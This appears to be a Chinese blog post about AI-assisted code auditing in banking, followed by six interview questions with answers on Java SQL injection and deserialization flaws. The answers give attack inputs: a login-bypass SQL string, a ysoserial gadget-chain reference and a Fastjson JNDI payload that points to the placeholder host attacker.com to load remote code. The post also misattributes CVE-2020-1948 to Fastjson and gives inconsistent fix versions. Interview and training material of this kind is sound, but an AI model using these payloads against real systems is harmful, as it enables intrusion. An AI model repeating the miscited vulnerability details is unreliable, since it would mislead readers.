奇安信率先使用DeepSeek落地金融行业了
《网安面试指南》
https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
今天看到奇安信官方报道，助力银行提升AI时代代码安全能力，加速DeepSeek+代码审计在金融行业的落地。
https://mp.weixin.qq.com/s/BVC_oTJ5BZIBwmc8ekxghA
其实我最近也在所AI+安全的探索，其实就目前来看AI+安全的应用主要是在运营，也就是对流量的分析；对静态代码的审计会最先融入进去。毕竟这些相对静态，能够使用大模型来替代初级的工程师。
当然还包括，写方案、改标书哈，这些也是静态的，我最近正在弄知识库，把安服的各类方案都喂给他，让他结合各家方案来写新的方案，感兴趣的关注我这个号，后面弄出来给大家分享。
但是归根到底，AI+安全的前提是你要先会安全，然后再来+上AI，如果你连代码都不会，让你用这AI+代码审计设备你能看出来AI审的对不对？？？
这不仅让我想起当年我面试奇安信代码审计工程师的几个题，拿出来给大家看看，更多的已经更新到咱们星球了。
题目1：SQL注入 - MyBatis动态SQL误用
问题描述：
审计以下MyBatis XML映射文件，指出漏洞并说明修复方法：
<select id="getUser" parameterType="String" resultType="User">
SELECT * FROM users WHERE username = '${username}'
</select>
答案要点：
-
漏洞原因：MyBatis中
${}直接拼接值，而非#{}参数化处理。 -
利用示例：输入
admin' OR '1'='1可绕过身份验证。 -
修复方案：改用
#{username}，强制预编译。 -
扩展场景：动态排序字段
ORDER BY ${sortField}需白名单过滤。
题目2：反序列化 - 未校验的ObjectInputStream
问题描述：
以下代码存在什么安全风险？如何利用？如何防御？
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.bin"));
Object obj = ois.readObject();
答案要点：
-
漏洞原因：未校验反序列化的类，攻击者可构造恶意序列化数据（如Apache Commons Collections的
InvokerTransformer链）实现RCE。 -
利用示例：使用ysoserial生成
CommonsCollections6载荷，触发远程代码执行。 - 修复方案：
-
使用
ObjectInputFilter设置白名单（JDK 9+）。 -
替换为JSON等安全序列化格式。
-
-
关联漏洞：WebLogic、JBoss等中间件历史反序列化漏洞。
题目3：Fastjson反序列化漏洞
问题描述：
Fastjson在什么场景下会触发反序列化漏洞？如何通过代码配置降低风险？
答案要点：
- 漏洞触发条件：
-
使用
parseObject()或parse()方法解析不可信JSON数据。 -
开启
autoType功能（默认关闭，但某些版本可能通过特定字符绕过）。
-
-
历史案例：CVE-2017-18349（Fastjson <=1.2.24）利用
autoType加载恶意类。 - 修复方案：
-
升级到最新版本（>=1.2.83），启用
safeMode彻底关闭autoType。 -
显式配置
ParserConfig.getGlobalInstance().addAccept("com.trusted.package.")。
-
题目4：反序列化 - Jackson框架的漏洞
问题描述：
Jackson的enableDefaultTyping()方法为何存在风险？如何安全配置？
答案要点：
-
风险原因：
enableDefaultTyping()允许JSON中包含类类型信息，攻击者可构造恶意类触发反序列化。 -
漏洞案例：CVE-2017-7525（反序列化模板注入）。
- 安全配置：
-
禁用
enableDefaultTyping()。 -
使用
@JsonTypeInfo注解显式定义多态类型。 -
配置
PolymorphicTypeValidator限制允许的类。
-
题目5：SQL注入 - 存储过程动态SQL
问题描述：
审计以下存储过程调用代码是否存在风险：
String sql = "{CALL get_user('" + username + "')}";
CallableStatement cs = conn.prepareCall(sql);
答案要点：
-
漏洞存在：存储过程的参数若在内部使用动态SQL（如
EXECUTE IMMEDIATE），仍会导致注入。 - 防御方案：
-
存储过程内使用参数化查询。
- Java层使用
CallableStatement绑定参数：CallableStatement cs = conn.prepareCall("{CALL get_user(?)}"); cs.setString(1, username);
-
题目6：Fastjson的AutoType绕过
问题描述：
Fastjson在1.2.48版本修复了AutoType绕过漏洞（CVE-2020-1948），攻击者如何构造Payload绕过黑名单？
答案要点：
-
绕过原理：利用未在黑名单中的第三方库Gadget链（如
org.apache.xbean.propertyeditor.JndiConverter）。 - Payload示例：
{"@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"ldap://attacker.com/exp"} -
修复方案：升级到1.2.58+，加强黑名单并默认关闭AutoType。